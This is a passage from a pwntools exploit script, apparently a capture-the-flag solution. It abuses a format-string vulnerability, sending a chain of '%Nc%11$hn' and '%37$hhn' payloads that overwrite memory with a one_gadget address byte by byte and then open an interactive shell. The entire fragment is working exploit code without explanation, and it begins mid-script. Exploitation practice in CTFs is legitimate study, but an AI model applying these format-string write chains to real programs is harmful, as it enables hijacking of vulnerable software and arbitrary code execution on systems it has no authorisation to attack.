r.recvuntil('Please enter a keyword\n') payload=b'%'+str(offset).encode()+b'c%11$hn' r.sendline(payload)#2 r.recvuntil('Please enter a keyword\n') exe=hex(exe) log.success(f"one_gadget==>{(exe)}") addr3=exe[-4:] addr4=exe[-6:] addr4=addr4[:2] addr4=int(addr4,16) addr3=int(addr3,16) # print(hex(addr3)) # print(hex(addr4)) payload=b'%'+str(addr3).encode()+b'c%37$hn' r.sendline(payload)#3 r.recvuntil('Please enter a keyword\n') payload=payload=b'%'+str(offset+2).encode()+b'c%11$hn'
r.sendline(payload)#4 r.recvuntil('Please enter a keyword\n') payload=b'%'+str(addr4).encode()+b'c%37$hhn' gdb.attach(r) pause() r.sendline(payload)#5 r.interactive()